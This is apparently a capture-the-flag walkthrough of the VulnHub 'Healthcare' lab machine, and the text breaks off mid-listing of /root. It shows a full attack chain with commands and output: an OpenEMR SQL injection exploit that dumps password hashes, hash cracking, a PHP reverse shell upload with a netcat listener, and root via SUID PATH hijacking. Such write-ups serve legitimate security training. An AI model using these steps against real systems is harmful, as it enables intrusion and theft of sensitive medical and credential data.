Hello everyone!
Welcome to my latest video. Today, we'll be exploring a vulnerable machine
called "
Healthcare
". This machine is classified as "
Easy
", in
terms of difficulty.
To begin, visit the
VulnHub website and download the vulnerable image. If you're not familiar with
VulnHub, take a look at our VulnHub playlist for some useful tutorials.
Settings Up
Once you've downloaded
the image, the next step is setting up the server in VirtualBox. This process
is quite simple and involves importing the OVA file into VirtualBox using the
"
import appliance
" feature.
Importing the OVA file
into VirtualBox is a straightforward process. Here's how to do it:
On VirtualBox, click on "
Tools
."
Then, select "
Import
" to bring in the OVA image file.
This will open
the "
Appliance to Import
" window, where you can browse and select the
OVA image from your local storage.
Click "
Next
," and the
"
Appliance Settings
" window will appear, where you will review the
appliance details and settings. You can adjust them as
needed.
Click "Finish" to start the import. Once the import is
finished, you'll see the "
Healthcare
" vulnerable machine listed in
the
VirtualBox Manager
under the VulnHub group.
Select the virtual machine, go
to "
Settings
," and change the network adapter to "
Host-only
adapter
."
It's important to
ensure that both your Kali Linux machine (used for attacks) and the vulnerable
machine are connected to the same network, so make sure they're both connected
via the host-only adapter.
Now, it’s time to start the VM. Now, you'll notice that our Vulnerable Machine is ready, with a login prompt awaiting.
Let's dive
into the fun!
Enumeration
Identifying the IP address
The initial step in our attack is
enumeration, which involves identifying the IP address of our target machine
using
NetDiscover.
To execute this, open a terminal and run "
netdiscover -i
" followed by specifying the network interface name, which in this
case is "
eth1
."
┌──(kali㉿kali)-[~]
└─$
sudo netdiscover -i eth1
Currently scanning: 192.168.98.0/16 | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.95.1 0a:00:27:00:00:0d 1 60 Unknown vendor
192.168.95.2 08:00:27:fc:8a:4c 1 60 PCS Systemtechnik GmbH
192.168.95.20 08:00:27:68:0c:ad 1 60 PCS Systemtechnik GmbH
From the scan results, we've obtained our
target IP address: "
192.168.95.20
."
Network Scan to Identify Open Ports
Next, we'll conduct a network scan to
identify open ports, a crucial step in the enumeration process. This helps us
understand the attack surface and strategize targeted attacks. We'll use the
popular
Nmap
tool for this task. Run the following command:
nmap -sC -sV {specify the IP address}
In this command,
- "
-sC
" is used to perform a script scan using the default set
of scripts,
- while "
-sV
" enables version detection, allowing us
to identify which versions are running on which port.
┌──(kali㉿kali)-[~]
└─$
nmap -sC -sV 192.168.95.20
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-25 03:56 IST
Nmap scan report for 192.168.95.20
Host is up (0.00048s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.3d
80/tcp open http Apache httpd 2.2.17 ((PCLinuxOS 2011/PREFORK-1pclos2011))
|_http-server-header: Apache/2.2.17 (PCLinuxOS 2011/PREFORK-1pclos2011)
| http-robots.txt: 8 disallowed entries
| /manual/ /manual-2.2/ /addon-modules/ /doc/ /images/
|_/all_our_e-mail_addresses /admin/ /
|_http-title: Coming Soon 2
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.07 seconds
┌──(kali㉿kali)-[~]
└─$
After completing the
network scan, we discovered the presence of two open ports.
-
Port 21/TCP
is running
an FTP service, indicating that gaining access to the server with valid
credentials will be straightforward.
- Additionally,
Port
80/TCP
is hosting an HTTP service, suggesting that a vulnerable website may be hosted
on a target server.
Nmap Scripting Engine to Enumerate FTP
The scan results show that Port 21 is
running an FTP server,
FTPD 1.3.3d
, which appears to be an old version. This
increases the likelihood of vulnerabilities. To investigate further, we will
use the
Nmap Scripting Engine (NSE)
.
To run, the following command:
nmap -p {Specify the Port} --script {Specify the Script} {Specify the IP address}
When executed, the scan might take some
time to complete because the
Nmap Scripting Engine
not only searches for
vulnerabilities but also attempts to brute force the username and password.
Unfortunately, the scan did not provide any
valuable information.
Web Enumeration
Now, let's explore the content of the
website running on
Port 80
. To look at the contents ourselves, open a web
browser of your choice, and navigate to the target’s IP address in the URL bar
at the top of the window.
Upon exploring the webpage, it appears to
be that, it uses a Bootstrap responsive design. However, the visible content on
the page doesn't provide any valuable information.
To explore further, we can
inspect the page's source code by right-clicking on the page and selecting,
"
View Page Source
,"
But this doesn't reveal anything useful either.
Directory Busting to uncover hidden or hard-to-access directories
To continue our investigation of the target
URL, we will perform directory busting to uncover hidden or hard-to-access
directories and pages. For this task, we'll use the "
gobuster
" tool
with the following command.
gobuster dir -u {Target URL} -w {Path-to-wordlist}
Where,
-
gobuster dir
is used to instruct
gobuster
to perform directory busting.
-
-u
is used to specify the target URL
we want to explore.
-
-w
is used to provide the path to the wordlist
containing common directory names to try.
┌──(kali㉿kali)-[~]
└─$
gobuster dir -u http://192.168.95.20/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.95.20/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index (Status: 200) [Size: 5031]
/images (Status: 301) [Size: 342] [--> http://192.168.95.20/images/]
/css (Status: 301) [Size: 339] [--> http://192.168.95.20/css/]
/js (Status: 301) [Size: 338] [--> http://192.168.95.20/js/]
/vendor (Status: 301) [Size: 342] [--> http://192.168.95.20/vendor/]
/favicon (Status: 200) [Size: 1406]
/robots (Status: 200) [Size: 620]
/fonts (Status: 301) [Size: 341] [--> http://192.168.95.20/fonts/]
/gitweb (Status: 301) [Size: 342] [--> http://192.168.95.20/gitweb/]
/server-status (Status: 403) [Size: 999]
/phpMyAdmin (Status: 403) [Size: 59]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
┌──(kali㉿kali)-[~]
└─$
Using Gobuster, we have identified various
directories. Among these, I found,
/robots,
which seemed potentially helpful for further exploration. Unfortunately, it
didn't provide any valuable information. None of the other directories revealed
useful information either.
Although, several directories such as /index,
/images,
/css,
/js,
/vendor,
/fonts, and
/gitweb
were found.
Some directories like
/phpMyAdmin,
/server-status, and
/server-info
are accessible but return a
403 Forbidden
status, indicating restricted access.
Let's try directory busting again using a
larger wordlist. The wordlist we need isn't included in the default dirbuster
wordlist, so we have to download it manually.
Once downloaded, move it to the
dirbuster directory, and run
Gobuster
again using the new wordlist.
┌──(kali㉿kali)-[~/Downloads]
└─$
sudo mv directory-list-2.3-big.txt /usr/share/wordlists/dirbuster
[sudo] password for kali:
┌──(kali㉿kali)-[~]
└─$
gobuster dir -u http://192.168.95.20/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-big.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.95.20/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index (Status: 200) [Size: 5031]
/images (Status: 301) [Size: 342] [--> http://192.168.95.20/images/]
/css (Status: 301) [Size: 339] [--> http://192.168.95.20/css/]
/js (Status: 301) [Size: 338] [--> http://192.168.95.20/js/]
/vendor (Status: 301) [Size: 342] [--> http://192.168.95.20/vendor/]
/favicon (Status: 200) [Size: 1406]
/robots (Status: 200) [Size: 620]
/fonts (Status: 301) [Size: 341] [--> http://192.168.95.20/fonts/]
/gitweb (Status: 301) [Size: 342] [--> http://192.168.95.20/gitweb/]
/phpMyAdmin (Status: 403) [Size: 59]
/server-status (Status: 403) [Size: 999]
/server-info (Status: 403) [Size: 999]
/openemr (Status: 301) [Size: 343] [--> http://192.168.95.20/openemr/]
Progress: 1273833 / 1273834 (100.00%)
===============================================================
Finished
===============================================================
┌──(kali㉿kali)-[~]
└─$
Using this enhanced directory-busting
approach, we have identified various directories. Among them, the
/openemr
directory stands out as particularly interesting.
OpenEMR
is an
open-source electronic medical record and medical practice management application.
This directory might contain a potentially vulnerable application.
Exploitation (
OpenEMR 4.1.0 - 'u' SQL Injection)
Let’s visit this web directory.
Upon
visiting this directory, it displays a login page, prompting for a username and
password.
After identifying that
OpenEMR 4.1.0
is running,
it's important to check for any known vulnerabilities. Using
searchsploit
helps find publicly available exploits that can be used to
compromise the system.
┌──(kali㉿kali)-[~]
└─$
searchsploit OpenEMR 4.1.0
----------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------- ---------------------------------
OpenEMR 4.1.0 - 'u' SQL Injection | php/webapps/49742.py
Openemr-4.1.0 - SQL Injection
| php/webapps/17998.txt
----------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(kali㉿kali)-[~]
└─$
Here, I identified SQL injection
vulnerabilities.
Now, it’s time to copy,
49742.py
. Copying the exploit script
to the local directory allows you to inspect and execute it.
┌──(kali㉿kali)-[~]
└─$
searchsploit -m php/webapps/49742.py
Exploit: OpenEMR 4.1.0 - 'u' SQL Injection
URL: https://www.exploit-db.com/exploits/49742
Path: /usr/share/exploitdb/exploits/php/webapps/49742.py
Codes: N/A
Verified: False
File Type: Python script, ASCII text executable
Copied to:
/home/kali/49742.py
┌──(kali㉿kali)-[~]
└─$
The copied Python file is saved in, the /home/kali directory. Now, we need to modify some basic needs. Replace the URL with our target
URL, and save it.
Now, execute it. It will automatically,
exploit the vulnerability to extract the username and password hash.
┌──(kali㉿kali)-[~]
└─$
python 49742.py
____ ________ _______ __ __ ___ ____
/ __ \____ ___ ____ / ____/ |/ / __ \ / // / < // __ \
/ / / / __ \/ _ \/ __ \/ __/ / /|_/ / /_/ / / // /_ / // / / /
/ /_/ / /_/ / __/ / / / /___/ / / / _, _/ /__ __/ / // /_/ /
\____/ .___/\___/_/ /_/_____/_/ /_/_/ |_| /_/ (_)_(_)____/
/_/
____ ___ __ _____ ____ __ _
/ __ )/ (_)___ ____/ / / ___// __ \ / / (_)
/ /_/ / / / __ \/ __ / \__ \/ / / / / / / /
/ /_/ / / / / / / /_/ / ___/ / /_/ / / /___/ /
/_____/_/_/_/ /_/\__,_/ /____/\___\_\/_____/_/ exploit by @ikuamike
[+] Finding number of users...
[+] Found number of users: 2
[+] Extracting username and password hash...
admin:3863efef9ee2bfbc51ecdca359c6302bed1389e8
medical:ab24aed5a7c4ad45615cd7e0da816eea39e4895d
┌──(kali㉿kali)-[~]
└─$
The credentials
suggest administrative and medical roles, indicating a risk of unauthorized
access to sensitive medical records and administrative functions. The obtained
password hashes could potentially be cracked to reveal plaintext passwords.
Hash Cracking Using John the Ripper
For this purpose, we
can use John the Ripper.
But before that, we have these two hash in a text file.
Now, run
John the Ripper
.
┌──(kali㉿kali)-[~]
└─$
john hash --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "Raw-SHA1-AxCrypt"
Use the "--format=Raw-SHA1-AxCrypt" option to force loading these as that type instead
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "Raw-SHA1-Linkedin"
Use the "--format=Raw-SHA1-Linkedin" option to force loading these as that type instead
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "ripemd-160"
Use the "--format=ripemd-160" option to force loading these as that type instead
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "has-160"
Use the "--format=has-160" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-SHA1 [SHA1 256/256 AVX2 8x])
Warning: no OpenMP support for this hash type, consider --fork=3
Press 'q' or Ctrl-C to abort, almost any other key for status
medical (medical)
ackbar (admin)
2g 0:00:00:00 DONE (2024-05-25 04:54) 6.451g/s 3343Kp/s 3343Kc/s 3371KC/s acl405..acjy98
Use the "--show --format=Raw-SHA1" options to display all of the cracked passwords reliably
Session completed.
┌──(kali㉿kali)-[~]
└─$
It successfully cracks the hashes,
displaying the cracked passwords alongside the usernames.
Since we have the
username and password, the next steps involve leveraging the access to gain a
more persistent and possibly privileged foothold on the system.
Foothold
Leveraging Openemr
By logging into
OpenEMR
with the cracked
credentials, we have access to a wealth of patient and clinical data.
From
here, we can explore various functionalities, look for additional
vulnerabilities, and establish a more persistent and elevated access level.
Since we logged in as administrators, it
means, we have permission to modify or upload files on the website. This is
crucial for finding ways to establish a more persistent and elevated access
level.
Upon clicking on the
Administration
menu item, this
expands various options that allow us to create and modify medical records, and also while looking for an entry related to
file
management or file editing
among these options under the
Administration
menu, I
find it out which is labeled simply as
Files
.
Clicking on this option displays us an
interface where we can
view and edit web pages
in the OpenEMR web directory.
Here is a dropdown menu within the file
edit interface.
This dropdown may list all the web files in the directory.
As I
previously, thought, my guess is right. Select any file from this list to view
its details.
Upon scrolling down, I figured out that there
is a functionality to
upload any file
on the web directory.
So it means, if we browse
and upload, the reverse shell file and execute it, it may lead us to get the
reverse shell
.
Gain Reverse Shell by File upload
So, we need a
PHP reverse shell
script,
which can be located on the terminal, and we need to copy it to the user’s home
directory.
┌──(kali㉿kali)-[~]
└─$
locate php reverse shell
/usr/share/laudanum/php/php-reverse-shell.php
/usr/share/laudanum/wordpress/templates/php-reverse-shell.php
/usr/share/webshells/php/php-reverse-shell.php
┌──(kali㉿kali)-[~]
└─$
cp /usr/share/webshells/php/php-reverse-shell.php shell.php
┌──(kali㉿kali)-[~]
└─$
Use the upload functionality to upload this reverse shell script to
the web directory.
Before we upload this file, we have to replace the IP and
Port with our listening Host and port of the attacking machine.
┌──(kali㉿kali)-[~]
└─$
nano shell.php
┌──(kali㉿kali)-[~]
└─$
nc -lvnp 1234
listening on [any] 1234 ...
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.95.3] from (UNKNOWN) [192.168.95.20] 59972
Linux localhost.localdomain 2.6.38.8-pclos3.bfs #1 SMP PREEMPT Fri Jul 8 18:01:30 CDT 2011 i686 i686 i386 GNU/Linux
16:34:10 up 1:32, 0 users, load average: 1.09, 1.10, 1.98
USER TTY LOGIN@ IDLE JCPU PCPU WHAT
uid=479(apache) gid=416(apache) groups=416(apache)
sh: no job control in this shell
sh-4.1$
Next, start a
listener using
Netcat
.
Browse the uploaded file in a browser to execute it to initiate a reverse shell connection, and save it.
Once it is saved, it can be accessible from the image directory.
Now, let’s establish the connection by accessing from the web directory.
Once the reverse shell script is executed, we now gain a reverse shell connection to the target system.
This will give you command-line access, allowing for further exploration and exploitation, and also verify the user information to understand your
current privileges. But it is not very valuable.
Let’s move on to the home.
bash-4.1$
cd /home
cd /home
bash-4.1$
ls -al
ls -al
total 20
drwxr-xr-x 5 root root 4096 Jul 29 2020 .
drwxr-xr-x 21 root root 4096 May 24 15:01 ..
drwxr-xr-x 27 almirant almirant 4096 Jul 29 2020 almirant
drwxr-xr-x 31 medical medical 4096 Nov 5 2011 medical
drwxr-xr-x 3 root root 4096 Nov 4 2011 mysql
bash-4.1$
Upon changing the directory path to the home directory, I discover 3 directories. Since it is in the home directory, it means, these are the user of the target machine.
We not access the user flag now, it is
better to gather information by running LinPEAS which may lead us to escalate
Privilege.
Privilege Escalation
Escalate Privilege using LinPEAS
Lin PEAS
, is a powerful tool used to extract
various information, including SUID binaries and vulnerabilities, which can aid
in privilege escalation.
To get started, download LinPEAS from its
GitHub repository.
Once you have
LinPEAS
, initiate a
Python3 HTTP server
.
┌──(kali㉿kali)-[~/Downloads]
└─$
python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Switch back to the target server and use
the w get command to download LinPEAS from the IP address of the machine
running the
Python3 HTTP server
.
If you are unsure about the IP address of your
host-only adapter, you can use the “
ifconfig eth1
” command, to find it.
bash-4.1$
cd /tmp
cd /tmp
bash-4.1$
wget "http://192.168.95.3:8000/linpeas.sh"
wget "http://192.168.95.3:8000/linpeas.sh"
--2024-05-24 16:40:17-- http://192.168.95.3:8000/linpeas.sh
Connecting to 192.168.95.3:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 862779 (843K) [text/x-sh]
Saving to: `
linpeas.sh'
100%[======================================>] 862,779 --.-K/s in 0.02s
2024-05-24 16:40:17 (35.5 MB/s) - `linpeas.sh' saved [862779/862779]
bash-4.1$
After successfully downloading Lin PEAS on
the target server, use the “
ls -al
” command to check if the file exists.
bash-4.1$
ls -al
ls -al
total 4624
drwxrwxrwt 5 root root 4096 May 24 16:40 .
drwxr-xr-x 21 root root 4096 May 24 15:01 ..
drwxrwxrwt 2 root root 4096 May 24 15:01 .ICE-unix
-r--r--r-- 1 root root 11 May 24 15:01 .X0-lock
drwxrwxrwt 2 root root 4096 May 24 15:01 .X11-unix
-rw-r--r-- 1 root root 1413 May 24 15:01 ddebug.log
drwx------ 2 almirant almirant 4096 Jul 29 2020 gpg-ycbRQr
-rw------- 1 root root 0 Jul 29 2020 init.vQ5ZLd
-rw-
rw-rw- 1 apache apache 862779 May 21 14:00 linpeas.sh
-rw-r--r-- 1 apache apache 3841560 Jul 29 2020 setup_dump.sql
bash-4.1$
Upon inspecting, I discovered that the linpeas.sh file does not have the
necessary execution permissions.
To resolve this, give the execution
permission to the
linpeas.sh
file using the “
chmod +x lin
peas.sh
” command.
bash-4.1$
chmod +x linpeas.sh
chmod +x linpeas.sh
bash-4.1$
./linpeas.sh
./linpeas.sh
▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄
▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄
▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄ ▄▄▄ ▄▄▄▄▄ ▄▄▄
▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄
▄ ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄
▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ ▄ ▄▄
▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄
▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▀▀▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀
▀▀▀▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▀▀
▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀
/---------------------------------------------------------------------------------\
| Do you like PEASS? |
|---------------------------------------------------------------------------------|
| Follow on Twitter : @hacktricks_live |
| Respect on HTB : SirBroccoli |
|---------------------------------------------------------------------------------|
| Thank you! |
\---------------------------------------------------------------------------------/
linpeas-ng by github.com/PEASS-ng
ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission.
Linux Privesc Checklist: https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist
LEGEND:
RED/YELLOW: 95% a PE vector
RED: You should take a look to it
LightCyan: Users with console
Blue: Users without console & mounted devs
Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs)
LightMagenta: Your username
Starting linpeas. Caching Writable Folders...
------More------
Once the execution permission is granted, run the linpeas.sh file. This time,
it should execute without any issues.
After running “
linpeas.sh
”, the tool will
generate output, providing comprehensive information, including SUID binaries,
vulnerabilities, and other relevant data to aid in the privilege escalation
process.
Upon analyzing the LinPEAS output, two
unknown SUID binaries have been identified as potentially suspicious. These
binaries are
/usr/bin/Xwrapper
and
/usr/bin/healthcheck
.
Let’s examine the binaries by running it.
bash-4.1$
/usr/bin/Xwrapper
/usr/bin/Xwrapper
Authentication failed - cannot start X server.
Perhaps you do not have console ownership?
bash-4.1$
The
/usr/bin/Xwrapper
binary is related to the
X Window System
, which is a graphical windowing system for Unix-like operating systems.
The error message indicates an
authentication failure and lack of console ownership, meaning the user running
this binary doesn't have the necessary permissions to start an X server.
Now, let’s run the healthcheck binary.
bash-4.1$
/usr/bin/healthcheck
/usr/bin/healthcheck
TERM environment variable not set.
System Health Check
Scanning System
eth1 Link encap:Ethernet HWaddr 08:00:27:68:0C:AD
inet addr:192.168.95.20 Bcast:192.168.95.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:fe68:cad/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1972342 errors:0 dropped:0 overruns:0 frame:0
TX packets:1813759 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:291300633 (277.8 MiB) TX bytes:2418804069 (2.2 GiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:76409 errors:0 dropped:0 overruns:0 frame:0
TX packets:76409 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:6494888 (6.1 MiB) TX bytes:6494888 (6.1 MiB)
Disk /dev/sda: 10.7 GB, 10737418240 bytes
255 heads, 63 sectors/track, 1305 cylinders, total 20971520 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00000000
Device Boot Start End Blocks Id System
/dev/sda1 * 63 18876374 9438156 83 Linux
/dev/sda2 18876375 20964824 1044225 5 Extended
/dev/sda5 18876438 20964824 1044193+ 82 Linux swap / Solaris
4.0K ./gpg-ycbRQr
4.0K ./.ICE-unix
4.0K ./.X11-unix
4.6M .
bash-4.1$
The
/usr/bin/healthcheck
binary is designed to perform a system health check.
The error message indicates that the
TERM
environment variable
is not set, which is typically required for terminal-based
applications to function properly. Despite this, the script displays
information about network interfaces and disk partitions.
Now, let’s run strings to the command. The
strings
the command displays printable strings in binary files.
sh-4.1$
strings /usr/bin/healthcheck
strings /usr/bin/healthcheck
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
setuid
system
setgid
__libc_start_main
GLIBC_2.0
PTRhp
[^_]
clear ; echo 'System Health Check' ; echo '' ; echo 'Scanning System' ; sleep 2 ; ifconfig ; fdisk -l ; du -h
sh-4.1$
Running it on
the
healthcheck
binary gives insight into what the binary does internally,
revealing potential command executions and file paths.
The presence of the system function
suggests that the binary executes shell commands.
The string
clear; echo 'System Health
Check' ; echo '' ; echo 'Scanning System' ; sleep 2 ; ifconfig ; fdisk -l ; du
-h
indicates the commands the binary executes: clear, ifconfig, fdisk -l, and
du -h.
From the detailed findings, I discovered that:
We can exploit the
SUID binary
by replacing the clear command with a malicious
script or binary. This is possible because the binary uses the system function,
which relies on the
PATH environment variable
to locate executables.
Path Hijacking vulnerability in a SUID binary
By placing our malicious binary in a
directory that appears earlier in the PATH, we can hijack the execution of
clear.
Here, we copy
/bin/bash
to
/tmp/clear
, effectively replacing
clear
with
bash
.
Adjusting the
PATH
variable to include
/tmp
at the beginning ensures our
malicious
clear
is executed instead of the legitimate one.
sh-4.1$
cp /bin/bash /tmp/clear
cp /bin/bash /tmp/clear
sh-4.1$
export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
sh-4.1$
Now, it’s time to
Execute the
healthcheck
Binary.
With the modified
PATH
, running
/usr/bin/healthcheck
will execute
/tmp/clear
(which is actually
bash
), which leads us to the root shell.
sh-4.1$
/usr/bin/healthcheck
/usr/bin/healthcheck
To conform run the
id
command. This confirms
that we have obtained a root shell.
id
uid=0(root) gid=0(root) groups=0(root),416(apache)
For convenience, we spawn a proper
interactive shell using Python.
python -c "import pty;pty.spawn('/bin/bash')"
gpg-agent[14847]: error creating `/.gnupg/gpg-agent-info': No such file or directory
[root@localhost tmp]#
Let's view the flags both the user and root flags to
complete the challenge. Changing the directory to almirant and
listing the files and directories give us the user flag.
[root@localhost tmp]#
cd /home
cd /home
[root@localhost home]#
ls -al
ls -al
total 20
drwxr-xr-x 5 root root 4096 Jul 29 2020 ./
drwxr-xr-x 21 root root 4096 May 24 15:01 ../
drwxr-xr-x 27 almirant almirant 4096 Jul 29 2020 almirant/
drwxr-xr-x 31 medical medical 4096 Nov 5 2011 medical/
drwxr-xr-x 3 root root 4096 Nov 4 2011 mysql/
[root@localhost home]#
cd almirant
cd almirant
[root@localhost almirant]#
ls -al
ls -al
total 164
drwxr-xr-x 27 almirant almirant 4096 Jul 29 2020 ./
drwxr-xr-x 5 root root 4096 Jul 29 2020 ../
-rw------- 1 almirant almirant 7524 Jul 29 2020 .ICEauthority
-rw------- 1 almirant almirant 54 Jul 29 2020 .Xauthority
drwx------ 3 almirant almirant 4096 Jul 29 2020 .adobe/
-rw------- 1 almirant almirant 197 Jul 29 2020 .bash_history
-rw-r--r-- 1 almirant almirant 193 Sep 24 2011 .bash_profile
-rw-rw-r-- 1 almirant almirant 145 Sep 6 2011 .bashrc
drwxr-xr-x 2 almirant almirant 4096 Jul 29 2020 .cache/
drwx------ 8 almirant almirant 4096 Jul 22 2011 .config/
drwx------ 3 almirant almirant 4096 Jul 29 2020 .dbus/
-rwxrwxr-x 1 almirant almirant 14 Jul 19 2011 .desktop*
-rw------- 1 almirant almirant 28 Jul 29 2020 .dmrc
-rw------- 1 almirant almirant 16 Jul 29 2020 .esd_auth
drwx------ 4 almirant almirant 4096 Jul 29 2020 .gconf/
drwx------ 2 almirant almirant 4096 Jul 29 2020 .gconfd/
drwx------ 8 almirant almirant 4096 Jul 29 2020 .gnome2/
drwx------ 2 almirant almirant 4096 Jul 19 2011 .gnome2_private/
drwx------ 3 almirant almirant 4096 Jul 29 2020 .gnupg/
-rw-rw-r-- 1 almirant almirant 137 Jul 20 2011 .gtk-bookmarks
drwx------ 2 almirant almirant 4096 Jul 29 2020 .gvfs/
drwxr-xr-x 3 almirant almirant 4096 Jul 19 2011 .local/
-rw-r--r-- 1 almirant almirant 0 Oct 22 2010 .mdk-menu-migrated
-rw-rw-r-- 1 almirant almirant 0 Jul 29 2020 .menu-updates.stamp
drwx------ 4 almirant almirant 4096 Jul 29 2020 .mozilla/
drwxr-xr-x 2 almirant almirant 4096 Oct 22 2010 .nautilus/
drwx------ 2 almirant almirant 4096 Jul 29 2020 .pulse/
-rw------- 1 almirant almirant 256 Jul 29 2020 .pulse-cookie
drwxrwxr-x 2 almirant almirant 4096 Jul 19 2011 .themes/
drwx------ 3 almirant almirant 4096 Jul 19 2011 .thumbnails/
-rw-r--r-- 1 almirant almirant 1897 Jul 6 2011 .xbindkeysrc
-rw------- 1 almirant almirant 1613 Jul 29 2020 .xsession-errors
drwxr--r-- 2 almirant almirant 4096 Jul 19 2011 Desktop/
drwx------ 2 almirant almirant 4096 Jan 19 2010 Documents/
drwx------ 2 almirant almirant 4096 Jul 19 2011 Downloads/
drwx------ 2 almirant almirant 4096 Jan 19 2010 Movies/
drwx------ 2 almirant almirant 4096 Jan 19 2010 Music/
drwx------ 2 almirant almirant 4096 Jan 19 2010 Pictures/
drwxr-xr-x 2 almirant almirant 4096 Jul 19 2011 Templates/
drwxr-xr-x 2 almirant almirant 4096 Jul 19 2011 Videos/
drwx------ 9 almirant almirant 4096 Jul 29 2020 tmp/
-rwxrwxr-x 1 root root 33 Jul 29 2020 user.txt*
[root@localhost almirant]#
cat user.txt
cat user.txt
d41d8cd98f00b204e9800998ecf8427e
[root@localhost almirant]#
To get the root flag, we can find it in the Root directory.
[root@localhost medical]#
cd /root
cd /root
[root@localhost root]#
ls -al
ls -al
total 920
drwxr-x--- 20 root root 4096 Jul 29 2020 ./
drwxr-xr-x 21 root root 4096 May 24 15:01 ../
-rw------- 1 root root 0 Sep 11 2011 .ICEauthority
